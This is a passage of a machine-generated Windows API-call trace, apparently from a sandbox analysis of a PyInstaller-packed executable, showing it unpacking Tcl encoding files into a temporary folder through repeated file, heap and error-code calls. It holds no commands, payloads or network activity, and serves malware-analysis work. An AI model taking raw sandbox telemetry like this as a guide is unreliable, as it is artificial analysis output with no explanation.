"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022-kr.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.555] GetFileType (hFile=0x10c) returned 0x1 [0036.555] htonl (hostlong=0x73000000) returned 0x73 [0036.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.556] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0036.556] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.557] CloseHandle (hObject=0x10c) returned 1 [0036.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.557] htonl (hostlong=0x30000000) returned 0x30 [0036.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.557] GetFileType (hFile=0x10c) returned 0x1 [0036.557] htonl (hostlong=0x59625500) returned 0x556259 [0036.557] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1259, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.557] htonl (hostlong=0x97000000) returned 0x97 [0036.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x55cfe0 [0036.558] htonl (hostlong=0x97000000) returned 0x97 [0036.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.558] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.558] htonl (hostlong=0xe2000000) returned 0xe2 [0036.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe2) returned 0x550600 [0036.558] htonl (hostlong=0x97000000) returned 0x97 [0036.558] htonl (hostlong=0xe2000000) returned 0xe2 [0036.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0036.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.558] CloseHandle (hObject=0x10c) returned 1 [0036.558] GetLastError () returned 0x0 [0036.558] SetLastError (dwErrCode=0x0) [0036.558] GetLastError () returned 0x0 [0036.558] SetLastError (dwErrCode=0x0) [0036.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.558] GetFileType (hFile=0x10c) returned 0x1 [0036.558] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.558] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.559] CloseHandle (hObject=0x10c) returned 1 [0036.559] GetLastError () returned 0x0 [0036.559] SetLastError (dwErrCode=0x0) [0036.559] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.559] GetFileType (hFile=0x10c) returned 0x1 [0036.559] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.559] CloseHandle (hObject=0x10c) returned 1 [0036.559] GetLastError () returned 0x0 [0036.559] SetLastError (dwErrCode=0x0) [0036.559] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc") returned 70 [0036.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.559] GetLastError () returned 0x2 [0036.560] SetLastError (dwErrCode=0x2) [0036.560] GetLastError () returned 0x2 [0036.560] SetLastError (dwErrCode=0x2) [0036.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc", lpFilePart=0x0) returned 0x45 [0036.560] GetLastError () returned 0x2 [0036.560] SetLastError (dwErrCode=0x2) [0036.560] GetLastError () returned 0x2 [0036.560] SetLastError (dwErrCode=0x2) [0036.560] GetLastError () returned 0x2 [0036.560] SetLastError (dwErrCode=0x2) [0036.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc") returned 70 [0036.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.560] GetFileType (hFile=0x10c) returned 0x1 [0036.560] htonl (hostlong=0xe2000000) returned 0xe2 [0036.560] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.560] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xe2, lpOverlapped=0x0) returned 1 [0036.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.561] CloseHandle (hObject=0x10c) returned 1 [0036.562] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.562] htonl (hostlong=0x30000000) returned 0x30 [0036.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.562] GetFileType (hFile=0x10c) returned 0x1 [0036.562] htonl (hostlong=0xf0625500) returned 0x5562f0 [0036.562] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a12f0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.562] htonl (hostlong=0x20000) returned 0x200 [0036.562] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x200) returned 0x550600 [0036.562] htonl (hostlong=0x20000) returned 0x200 [0036.562] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.562] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.562] htonl (hostlong=0x46040000) returned 0x446 [0036.562] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x550808 [0036.562] htonl (hostlong=0x20000) returned 0x200 [0036.562] htonl (hostlong=0x46040000) returned 0x446 [0036.562] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.563] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.563] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.563] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.563] CloseHandle (hObject=0x10c) returned 1 [0036.563] GetLastError () returned 0x0 [0036.563] SetLastError (dwErrCode=0x0) [0036.563] GetLastError () returned 0x0 [0036.563] SetLastError (dwErrCode=0x0) [0036.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.563] GetFileType (hFile=0x10c) returned 0x1 [0036.563] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.563] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.563] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.563] CloseHandle (hObject=0x10c) returned 1 [0036.565] GetLastError () returned 0x0 [0036.565] SetLastError (dwErrCode=0x0) [0036.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.565] GetFileType (hFile=0x10c) returned 0x1 [0036.565] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.565] CloseHandle (hObject=0x10c) returned 1 [0036.565] GetLastError () returned 0x0 [0036.565] SetLastError (dwErrCode=0x0) [0036.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc") returned 72 [0036.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-1.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.565] GetLastError () returned 0x2 [0036.565] SetLastError (dwErrCode=0x2) [0036.565] GetLastError () returned 0x2 [0036.565] SetLastError (dwErrCode=0x2) [0036.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc", lpFilePart=0x0) returned 0x47 [0036.565] GetLastError () returned 0x2 [0036.566] SetLastError (dwErrCode=0x2) [0036.566] GetLastError () returned 0x2 [0036.566] SetLastError (dwErrCode=0x2) [0036.566] GetLastError () returned 0x2 [0036.566] SetLastError (dwErrCode=0x2) [0036.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc") returned 72 [0036.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-1.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-1.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.566] GetFileType (hFile=0x10c) returned 0x1 [0036.566] htonl (hostlong=0x46040000) returned 0x446 [0036.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.567] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.567] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.567] CloseHandle (hObject=0x10c) returned 1 [0036.568] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550808 | out: hHeap=0x530000) returned 1 [0036.568] htonl (hostlong=0x30000000) returned 0x30 [0036.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.568] GetFileType (hFile=0x10c) returned 0x1 [0036.568] htonl (hostlong=0xf0645500) returned 0x5564f0 [0036.568] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a14f0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.568] htonl (hostlong=0x19020000) returned 0x219 [0036.568] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x219) returned 0x550600 [0036.569] htonl (hostlong=0x19020000) returned 0x219 [0036.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.569] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.569] htonl (hostlong=0x47040000) returned 0x447 [0036.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.569] htonl (hostlong=0x19020000) returned 0x219 [0036.569] htonl (hostlong=0x47040000) returned 0x447 [0036.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.569] CloseHandle (hObject=0x10c) returned 1 [0036.569] GetLastError () returned 0x0 [0036.569] SetLastError (dwErrCode=0x0) [0036.569] GetLastError () returned 0x0 [0036.569] SetLastError (dwErrCode=0x0) [0036.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.569] GetFileType (hFile=0x10c) returned 0x1 [0036.569] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.569] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.570] CloseHandle (hObject=0x10c) returned 1 [0036.570] GetLastError () returned 0x0 [0036.570] SetLastError (dwErrCode=0x0) [0036.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 